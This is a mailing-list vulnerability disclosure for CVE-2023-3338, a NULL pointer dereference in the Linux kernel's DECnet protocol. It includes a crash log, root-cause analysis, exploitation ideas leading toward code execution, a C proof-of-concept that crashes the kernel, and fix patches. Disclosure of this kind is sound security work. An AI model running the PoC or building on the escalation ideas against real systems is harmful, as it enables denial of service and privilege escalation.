Headline
CVE-2023-3338: Linux Kernel NULL Pointer Dereference in DECnet
A flaw null pointer dereference in the Linux kernel DECnet networking protocol was found. A remote user could use this flaw to crash the system.
oss-sec mailing list archives
From: Ornaghi Davide - Betrusted <davide.ornaghi () betrusted it>
Date: Sat, 24 Jun 2023 16:11:36 +0000
Hi all,
I’m reporting a Null Pointer Dereference vulnerability that I found while attempting to ping localhost by sending a Hello message to a local DECnet socket:
``` [45620.986136] BUG: kernel NULL pointer dereference, address: 0000000000000000 [45620.986141] #PF: supervisor read access in kernel mode [45620.986143] #PF: error_code(0x0000) - not-present page [45620.986146] PGD 0 P4D 0 [45620.986148] Oops: 0000 [#1] PREEMPT SMP NOPTI [45620.986152] CPU: 6 PID: 37997 Comm: test Tainted: G W L 5.19.0-43-generic #44~22.04.1-Ubuntu [45620.986155] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 [45620.986156] RIP: 0010:dn_nsp_send+0x1c9/0x200 [decnet] [45620.986159] Code: 74 3e 8d 48 01 f0 0f b1 4a 40 41 0f 94 c6 45 84 f6 74 eb 48 89 d3 49 89 d7 48 83 e3 fe 48 89 55 90 e8 eb f7 ac c0 48 8b 55 90 <48> 8b 02 48 8b 80 e8 00 00 00 49 89 85 e8 01 00 00 e9 93 fe ff ff [45620.986161] RSP: 0018:ffffc90032abfc90 EFLAGS: 00010246 [45620.986164] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 [45620.986165] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 [45620.986166] RBP: ffffc90032abfd00 R08: 0000000000000000 R09: 0000000000000000 [45620.986167] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8881aca6f9c0 [45620.986168] R13: ffff888118903cc0 R14: 0000000000000000 R15: 0000000000000000 [45620.986172] FS: 00007f144e58b740(0000) GS:ffff888339d80000(0000) knlGS:0000000000000000 [45620.986173] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [45620.986175] CR2: 0000000000000000 CR3: 0000000226154004 CR4: 0000000000770ee0 [45620.986185] PKRU: 55555554 [45620.986186] Call Trace: [45620.986189] <TASK> [45620.986191] dn_nsp_send_conninit+0x207/0x4c0 [decnet] [45620.986196] __dn_connect+0x172/0x230 [decnet] [45620.986220] dn_connect+0x5c/0xa0 [decnet] [45620.986223] __sys_connect_file+0x68/0x80 [45620.986225] __sys_connect+0xb6/0xe0 [45620.986227] ? exit_to_user_mode_loop+0xf1/0x140 [45620.986228] ? exit_to_user_mode_prepare+0x3b/0xd0 [45620.986230] ? syscall_exit_to_user_mode+0x2a/0x50 [45620.986232] ? do_syscall_64+0x69/0x90 [45620.986234] __x64_sys_connect+0x18/0x30 [45620.986236] do_syscall_64+0x59/0x90 [45620.986237] ? exit_to_user_mode_prepare+0x3b/0xd0 [45620.986241] ? syscall_exit_to_user_mode+0x2a/0x50 [45620.986242] ? do_syscall_64+0x69/0x90 [45620.986244] entry_SYSCALL_64_after_hwframe+0x63/0xcd ```
Bug details
This crash is due to the dn_nsp_send function (net/decnet/dn_nsp_out.c) which, first off, causes a Denial of Service by preventing the release of locks such as the current sock’s sk->sk_lock, but could also lead to Local Privilege Escalation under certain conditions.
When first starting a connection with a DECnet socket, the connect() handler __dn_connect, while building a route, ends up calling dst_alloc (net/decnet/dn_route.c:1178) which initializes the dst reference counter to 0 instead of 1 (see commit 76371d2e3ad1f84426a30ebcd8c3b9b98f4c724f for an explanation). Later on, dn_insert_route is expected to increase the dst refcount, but in reality, it fails to do so, since dst_hold_and_use (net/decnet/dn_route.c:347) actually calls atomic_inc_not_zero on dst->__refcnt, which only works if the refcount is not 0. While the refcount hasn’t changed, the dst->_use counter is correctly incremented by dst_use_noref.
```c static inline void dst_hold(struct dst_entry *dst) { BUILD_BUG_ON(offsetof(struct dst_entry, __refcnt) & 63); WARN_ON(atomic_inc_not_zero(&dst->__refcnt) == 0); <=== } ```
Therefore, a warning gets thrown. As a consequence, all the following sk_dst_get(sk) calls will return NULL since this function also uses atomic_inc_not_zero, and returns NULL on failure. This condition leads to a NPD at net/decnet/dn_nsp_out.c:92:
```c if (dn_route_output_sock(&sk->sk_dst_cache, &fld, sk, 0) == 0) { dst = sk_dst_get(sk); sk->sk_route_caps = dst->dev->features; <=== dst is NULL goto try_again; } ```
Exploitation scenarios
Furthermore, the try_again label redirects the execution to the following code:
```c if (dst) { try_again: skb_dst_set(skb, dst); dst_output(&init_net, skb->sk, skb); <=== return; } ```
where the dst->output() function is invoked by dst_output to send the outgoing packet after the routing decision. In an attacker’s ideal conditions, where the zero page is mappable, this allows arbitrary code execution.
In more modern systems, the previous scenario can be triggered multiple times to possibly control other reference counters and thus trigger further vulnerabilities such as UAF. For instance, one could force the sock->file (from __sys_sendto) refcount to wrap around and eventually free it, though a definitive exploitation technique is still under study.
Vulnerable versions
Linux kernels with DECnet support from Linux-4.12-rc7 (commit 76371d2e3ad1f84426a30ebcd8c3b9b98f4c724f) up to Linux-6.0.19. The said subsystem has been removed during the 6.1 merge window because deprecated.
Proof-of-Concept
The kernel has to be compiled with CONFIG_DECNET=y and should have a DECnet address assigned (echo -n “1.10” > /proc/sys/net/decnet/node_address):
```c int main() { int sockfd;
if ((sockfd = socket(AF\_DECnet, SOCK\_SEQPACKET, DNPROTO\_NSP)) == -1) {
perror("socket");
exit(-1);
}
struct sockaddr\_dn sockaddr;
struct nodeent dp;
static struct dn\_naddr addr;
char \*nodename = "turtle";
addr.a\_addr\[0\] = 10 & 0xFF;
addr.a\_addr\[1\] = (1 << 2) | ((10 & 0x300) >> 8);
sockaddr.sdn\_family = AF\_DECnet;
sockaddr.sdn\_flags = 0x00;
sockaddr.sdn\_objnum = DNOBJECT\_MIRROR;
sockaddr.sdn\_objnamel = 0x00;
dp.n\_addr = (unsigned char \*)&addr.a\_addr;
dp.n\_length = 2;
dp.n\_name = nodename;
dp.n\_addrtype = AF\_DECnet;
if (connect(sockfd, (struct sockaddr \*)&sockaddr, sizeof(sockaddr)) < 0) {
perror("socket");
exit(-1);
}
return 0;
} ```
Writing a PoC that returns a root shell on devices without SMAP and vm.mmap_min_addr is also trivial.
Bug fix
This was my suggested patch:
```diff — a/net/decnet/dn_route.c 2023-06-06 15:55:36.615147110 +0200 +++ b/net/decnet/dn_route.c 2023-06-06 15:56:00.179416949 +0200 @@ -1175,7 +1175,7 @@ make_route: if (dev_out->flags & IFF_LOOPBACK) flags |= RTCF_LOCAL;
rt = dst\_alloc(&dn\_dst\_ops, dev\_out, 0, DST\_OBSOLETE\_NONE, 0);
rt = dst\_alloc(&dn\_dst\_ops, dev\_out, 1, DST\_OBSOLETE\_NONE, 0); if (rt == NULL) goto e\_nobufs;
```
Also, always make sure that dst isn’t NULL after sk_dst_get:
```diff — a/net/decnet/dn_nsp_out.c 2023-06-06 22:01:57.212802584 +0200 +++ b/net/decnet/dn_nsp_out.c 2023-06-06 22:04:37.138709847 +0200 @@ -89,7 +89,9 @@ try_again: fld.flowidn_proto = DNPROTO_NSP; if (dn_route_output_sock(&sk->sk_dst_cache, &fld, sk, 0) == 0) { dst = sk_dst_get(sk);
sk->sk\_route\_caps = dst->dev->features;
if (!dst)
return;
sk->sk\_route\_caps = dst->dev->features; goto try\_again; }
```
The DECnet subsystem has been officially removed from all longterm and stable kernel series, starting from 4.14.319, 4.19.287, 5.4.248, 5.10.185 and 5.15.118.
Best regards,
Davide Ornaghi
Current thread:
- CVE-2023-3338: Linux Kernel NULL Pointer Dereference in DECnet Ornaghi Davide - Betrusted (Jun 24)
- Re: CVE-2023-3338: Linux Kernel NULL Pointer Dereference in DECnet Peter Philip Pettersson (Jun 24)
Related news
Ubuntu Security Notice 6445-2 - It was discovered that the IPv6 implementation in the Linux kernel contained a high rate of hash collisions in connection lookup table. A remote attacker could use this to cause a denial of service. Daniel Trujillo, Johannes Wikner, and Kaveh Razavi discovered that some AMD processors utilising speculative execution and branch prediction may allow unauthorised memory reads via a speculative side-channel attack. A local attacker could use this to expose sensitive information, including kernel memory.
Ubuntu Security Notice 6445-1 - It was discovered that the IPv6 implementation in the Linux kernel contained a high rate of hash collisions in connection lookup table. A remote attacker could use this to cause a denial of service. Daniel Trujillo, Johannes Wikner, and Kaveh Razavi discovered that some AMD processors utilising speculative execution and branch prediction may allow unauthorised memory reads via a speculative side-channel attack. A local attacker could use this to expose sensitive information, including kernel memory.
Ubuntu Security Notice 6416-3 - It was discovered that the IPv6 implementation in the Linux kernel contained a high rate of hash collisions in connection lookup table. A remote attacker could use this to cause a denial of service. Daniel Trujillo, Johannes Wikner, and Kaveh Razavi discovered that some AMD processors utilising speculative execution and branch prediction may allow unauthorised memory reads via a speculative side-channel attack. A local attacker could use this to expose sensitive information, including kernel memory.
Ubuntu Security Notice 6416-2 - It was discovered that the IPv6 implementation in the Linux kernel contained a high rate of hash collisions in connection lookup table. A remote attacker could use this to cause a denial of service. Daniël Trujillo, Johannes Wikner, and Kaveh Razavi discovered that some AMD processors utilising speculative execution and branch prediction may allow unauthorised memory reads via a speculative side-channel attack. A local attacker could use this to expose sensitive information, including kernel memory.
Ubuntu Security Notice 6417-1 - It was discovered that the eBPF implementation in the Linux kernel contained a race condition around read-only maps. A privileged attacker could use this to modify read-only maps. It was discovered that the IPv6 implementation in the Linux kernel contained a high rate of hash collisions in connection lookup table. A remote attacker could use this to cause a denial of service.
Ubuntu Security Notice 6416-1 - It was discovered that the IPv6 implementation in the Linux kernel contained a high rate of hash collisions in connection lookup table. A remote attacker could use this to cause a denial of service. Daniel Trujillo, Johannes Wikner, and Kaveh Razavi discovered that some AMD processors utilising speculative execution and branch prediction may allow unauthorised memory reads via a speculative side-channel attack. A local attacker could use this to expose sensitive information, including kernel memory.
Debian Linux Security Advisory 5480-1 - Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.